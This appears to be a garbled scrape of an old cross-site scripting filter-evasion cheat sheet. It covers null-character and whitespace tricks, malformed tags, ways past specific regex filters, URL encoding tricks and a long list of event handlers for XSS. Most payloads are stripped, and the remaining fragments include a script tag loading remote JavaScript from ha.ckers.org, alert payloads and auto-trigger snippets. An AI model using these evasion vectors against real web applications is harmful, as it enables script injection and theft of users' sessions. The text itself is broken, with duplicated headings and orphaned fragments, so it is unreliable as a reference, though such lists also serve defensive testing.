    Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    perl -e 'print "&alert("XSS")";' > out Spaces/Meta Chars

    Spaces/Meta Chars

    Embedded Character Attacks

    Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Non-Alpha/Non-Digit

    Non-Alpha/Non-Digit

    Embedded Character Attacks

    Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]

    Non-Alpha/Non-Digit Part 2

    Non-Alpha/Non-Digit Part 2

    Embedded Character Attacks

    Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]

    No Closing Script Tag

    No Closing Script Tag

    Embedded Character Attacks

    In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]

    Malformed IMG Tags

    Malformed IMG Tags

    Embedded Character Attacks

    Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    "> No Quotes/Semicolons

    No Quotes/Semicolons

    Embedded Character Attacks

    No single quotes or double quotes or semicolons.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    Event Handlers List 1

    Event Handlers List 1

    Event Handlers

    Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: -FSCommand() (execute from within an embedded Flash object) -onAbort() (when user aborts the loading of an image) -onActivate() (when object is set as the active element) -onAfterPrint() (activates after user prints or previews print job) -onAfterUpdate() (activates on data object after updating data in the source object) -onBeforeActivate() (fires before the object is set as the active element) -onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) -onBeforeCut() (attacker executes the attack string right before a selection is cut) -onBeforeDeactivate() (fires right after the activeElement is changed from the current object) -onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) -onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) -onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) -onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) -onBegin() (fires immediately when the element's timeline begins) -onBlur() (in the case where another popup is loaded and window loses focus) -onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) -onCellChange() (fires when data changes in the data provider) -onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) -onClick() (fires when someone clicks on a form) -onContextMenu() (user would need to right click on attack area) -onControlSelect() (fires when the user is about to make a control selection of the object) -onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) -onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) -onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) -onDataSetChanged() (fires when the data set exposed by a data source object changes) -onDataSetComplete() (fires to indicate that all data is available from the data source object) -onDblClick() (fires when user double-clicks a form element or a link) -onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) -onDrag() (requires that the user drags an object) -onDragEnd() (requires that the user drags an object) -onDragLeave() (requires that the user drags an object off a valid location) -onDragEnter() (requires that the user drags an object into a valid location) -onDragOver() (requires that the user drags an object into a valid location) -onDragDrop() (user drops an object (e.g. file) onto the browser window) -onDrop() (fires when user drops an object (e.g. file) onto the browser window)

    Browser support:

    See Below Event Handlers List 2

    Event Handlers List 2

    Event Handlers

    -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) -onError() (loading of a document or image causes an error) -onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) -onFilterChange() (fires when a visual filter completes state change) -onFinish() (attacker could create the exploit when marquee is finished looping) -onFocus() (attacker executes the attack string when the window gets focus) -onFocusIn() (attacker executes the attack string when window gets focus) -onFocusOut() (attacker executes the attack string when window loses focus) -onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) -onKeyDown() (fires when user depresses a key) -onKeyPress() (fires when user presses or holds down a key) -onKeyUp() (fires when user releases a key) -onLayoutComplete() (user would have to print or print preview) -onLoad() (attacker executes the attack string after the window loads) -onLoseCapture() (can be exploited by the releaseCapture() method) -onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) -onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) -onMouseDown() (the attacker would need to get the user to click on an image) -onMouseEnter() (fires when cursor moves over an object or area) -onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) -onMouseMove() (the attacker would need to get the user to mouse over an image or table) -onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) -onMouseOver() (fires when cursor moves over an object or area) -onMouseUp() (the attacker would need to get the user to click on an image) -onMouseWheel() (the attacker would need to get the user to use their mouse wheel) -onMove() (user or attacker would move the page) -onMoveEnd() (user or attacker would move the page) -onMoveStart() (user or attacker would move the page) -onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) -onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) -onPause() (fires on every element that is active when the timeline pauses, including the body element) -onProgress() (attacker would use this as a flash movie was loading) -onPropertyChange() (user or attacker would need to change an element property) -onReadyStateChange() (user or attacker would need to change an element property)

    Browser support:

    See Below Event Handlers List 3

    Event Handlers List 3

    Event Handlers

    -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) -onReset() (fires when user or attacker resets a form) -onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) -onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) -onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) -onResume() (fires on every element that becomes active when the timeline resumes, including the body element) -onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) -onRowEnter() (user or attacker would need to change a row in a data source) -onRowExit() (user or attacker would need to change a row in a data source) -onRowsDelete() (user or attacker would need to delete a row in a data source) -onRowsInserted() (user or attacker would need to insert a row in a data source) -onScroll() (user would need to scroll, or attacker could use the scrollBy() function) -onSeek() (fires when the timeline is set to play in any direction other than forward) -onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) -onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) -onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) -onStart() (fires at the beginning of each marquee loop) -onStop() (user would need to press the stop button or leave the webpage) -onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) -onSubmit() (requires attacker or user submits a form) -onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) -onTrackChange() (fires when user or attacker changes track in a playList) -onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) -onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) -seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

    Browser support:

    See Below Evade Regex Filter 1

    Evade Regex Filter 1

    XSS w/HTML Quote Encapsulation

    For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: /<script[^>]+src/i

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    Evade Regex Filter 2

    Evade Regex Filter 2

    XSS w/HTML Quote Encapsulation

    For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i (this is an important one, because I've seen this regex in the wild)

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    Evade Regex Filter 3

    Evade Regex Filter 3

    XSS w/HTML Quote Encapsulation

    Another XSS to evade this regex filter: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    Evade Regex Filter 4

    Evade Regex Filter 4

    XSS w/HTML Quote Encapsulation

    Yet another XSS to evade the same filter: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    Evade Regex Filter 5

    Evade Regex Filter 5

    XSS w/HTML Quote Encapsulation

    And one last XSS attack (using grave accents) to evade this regex: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Filter Evasion 1

    Filter Evasion 1

    XSS w/HTML Quote Encapsulation

    This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    PT SRC="http://ha.ckers.org/xss.js"> Filter Evasion 2

    Filter Evasion 2

    XSS w/HTML Quote Encapsulation

    Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    IP Encoding

    IP Encoding

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS URL Encoding

    URL Encoding

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS Dword Encoding

    Dword Encoding

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS Hex Encoding

    Hex Encoding

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS Octal Encoding

    Octal Encoding

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS Mixed Encoding

    Mixed Encoding

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). The tabs and newlines only work if this is encapsulated with quotes.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS Protocol Resolution Bypass

    Protocol Resolution Bypass

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS Firefox Lookups 1

    Firefox Lookups 1

    URL Obfuscation

    Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake"

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]

    XSS Firefox Lookups 2

    Firefox Lookups 2

    URL Obfuscation

    This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]

    XSS Firefox Lookups 3

    Firefox Lookups 3

    URL Obfuscation

    This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google").

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS Removing Cnames

    Removing Cnames

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS Extra dot for Absolute DNS

    Extra dot for Absolute DNS

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS JavaScript Link Location

    JavaScript Link Location

    URL Obfuscation

    URL string evasion (assuming "http://www.google.com/" is programmatically disallowed) JavaScript link location

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS Content Replace

    Content Replace

    URL Obfuscation

    Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:".

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    XSS